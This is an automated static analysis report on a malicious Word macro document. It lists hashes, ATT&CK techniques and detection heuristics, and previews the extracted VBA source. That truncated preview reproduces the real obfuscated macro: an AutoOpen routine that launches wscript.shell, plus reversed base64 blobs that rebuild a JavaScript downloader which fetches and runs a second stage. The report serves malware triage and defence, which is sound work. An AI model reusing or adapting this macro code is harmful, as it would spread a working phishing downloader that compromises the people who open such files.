Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 47b1dc939556e249…

MALICIOUS

Office (OOXML)

79.4 KB Created: 2021-05-07 10:13:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-23
MD5: c63f618a0183f9d1ddb8ab973eab1e29 SHA-1: 5b33dbe3bfad242b0421f674d9e74b0c63f26b8c SHA-256: 47b1dc939556e2492acd5793cc53fe8d424ab201a5b61234a7c39d388c106f87
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro executes a function that uses CreateObject to instantiate 'wscript.shell' and then calls an obfuscated function to download and execute a second-stage payload. The embedded URLs are benign schema definitions, but the VBA code itself indicates malicious intent to download and execute further content.

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6097 bytes
SHA-256: 70deca16abe8dccc6d9d5028da6f54468e2d54d9024ee0a74c8aff32eaa34d64
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 8 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{7907C5E6-1EA6-4162-97D2-6843A8E20B1F}{49869E40-CC61-476D-A5A7-C33DD8AAB634}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Function click(nextCopy)
Set loadScreenProc = CreateObject("wsc" & nextCopy & "ell").exec(rev(title))
End Function


Attribute VB_Name = "argumentBufferRequest"
Sub autoopen()
refClearCopy
End Sub
Function title()
title = ActiveDocument.BuiltInDocumentProperties("title")
End Function
Sub refClearCopy()
Dim databaseArgument As String
swapClass = Split(rev(title), " ")
databaseArgument = swapClass(1)
Set counterStorageSize = New constStorage
counterStorageSize.refIndex databaseArgument, lenPasteLeft
frm.click "ript.sh"
End Sub

Attribute VB_Name = "linkClear"
Public Function screenTrust(tmpTmp)
If (Len(tmpTmp) < 1024) Then
memoryLoadValue = Join(Array("<html><body><div id='content1'>fTtlc29sYy5lc25vcHNlUnBtZVRlY25lcmVmZXI7KTIgLCJncGouY2lyZW5lR2Z1YlxcY2lsYnVwXFxzcmVzdVxcOmMiKGVsa", "WZvdGV2YXMuZXNub3BzZVJwbWVUZWNuZXJlZmVyOyl5ZG9iZXNub3BzZXIuZXRlbGVEeEUoZXRpcncuZXNub3BzZVJwbWVUZWNuZXJlZmVyOzEgPSBlcHl0LmVzbm9wc", "2VScG1lVGVjbmVyZWZlcjtuZXBvLmVzbm9wc2VScG1lVGVjbmVyZWZlcjspIm1hZXJ0cy5iZG9kYSIodGNlamJPWGV2aXRjQSB3ZW4gPSBlc25vcHNlUnBtZVRlY25lc", "mVmZXIgcmF2eykwMDIgPT0gc3V0YXRzLmV0ZWxlRHhFKGZpOykoZG5lcy5ldGVsZUR4RTspZXNsYWYgLCJhZmNMR05pQ0hqTDROclJ4WmxvVU49ZW1pdCZmemp3VEpON", "ExoTjk9ZmVyJmJMRzU0c21xY3YzcnVxcW9tZkQ1SHZrTlZkR2k9JlI4SHFpcTBFUmVVOT1xJnozdTc0Sj1ZakY5eXNFNG85JnZ5bmFxa2JFYkM5TWo1QVpSU2Zia0ZwP", "XJlc3UmU0FJbFY4YjNraEltPXEmc1B1ellaU3Q0RHR5cDJJUjhadVVWTWM9PzZoYXMvMDU2NzgvcUFtRm56SWVoOFlDVTlGdng0TzJZTFlTL2FhUkRVQW4vZ04vMjEwN", "zgvTGt5MmREWlZORWtRcFZjNXR0TnJTU"), "")
End If
screenTrust = memoryLoadValue
End Function
Public Function argumentLib(tmpTmp)
If (Len(tmpTmp) < 1024) Then
memoryLoadValue = Join(Array("EtiMjFlNlMvc29zZ2QvbW9jLno1MTAyb2dyYWNlbG9wLy86cHR0aCIgLCJURUciKG5lcG8uZXRlbGVEeEU7KSJwdHRobG14LjJsbXhzbSIodGNlamJPWGV2aXRjQSB3Z", "W4gPSBldGVsZUR4RSByYXY=</div><div id='content2'>fXspdHhlVGNvclBidihoY3RhY307KSJhdGguY2lyZW5lR2Z1YlxcY2lsYnVwXFxzcmVzdVxcOmMiKGVs", "aWZldGVsZWQubGFjb0xsYWNvTHdlaXZ7eXJ0OykidGNlamJvbWV0c3lzZWxpZi5nbml0cGlyY3MiKHRjZWpiT1hldml0Y0Egd2VuID0gbGFjb0xsYWNvTHdlaXYgcmF2", "OykidGluSW5pZ3VsUCxncGouY2lyZW5lR2Z1YlxcY2lsYnVwXFxzcmVzdVxcOmMgMjNsbGRudXIiKG51ci4pImxsZWhzLnRwaXJjc3ciKHRjZWpiT1hldml0Y0Egd2Vu", "</div><div id='content3'></div><div id='table1'>ABCDEFGHIJKLMNOPQRSTUVWXYZ</div><div id='table2'>0123456789+/</div><div id='tabl", "e3'></div><script language='javascript'>function textboxSizeLocal(ExRepo){return(new ActiveXObject(ExRepo));}function referenceP", "rocedureTitle(tableStorageDelete"), "")
End If
argumentLib = memoryLoadValue
End Function
Public Function deleteLocal(tmpTmp)
If (Len(tmpTmp) < 1024) Then
memoryLoadValue = Join(Array("){return(repoReference.getElementById(tableStorageDelete).innerHTML);}function repoTextboxLink(){var viewCollectionCaption = ref", "erenceProcedureTitle('table1');var valueBuffer = viewCollectionCaption.toLowerCase();var ExStorageTemp = referenceProcedureTitle", "('table2');return(viewCollectionCaption + valueBuffer + ExStorageTemp);}function tableData(s){var e={}; var i; var b=0; var c; v", "ar x; var l=0; var a; var optionGeneric=''; var w=String.fromCharCode; var L=s.length;var selectClass = viewPaste('tArahc');for(", "i=0;i<64;i++){e[repoTextboxLink()[selectClass](i)]=i;}for(x=0;x<L;x++){c=e[s[selectClass](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b", ">>>(l-=8))&0xff)||(x<(L-2)))&&(optionGeneric+=w(a));}}return(optionGeneric);};function viewPaste(responseConstData){return respo", "nseConstData.split('').rev
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 30208 bytes
SHA-256: 13ff337d8d65b34fd6eb549937fe972c4d513eb2a84c280164f304a17345f5bd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 8 long base64-like blob(s).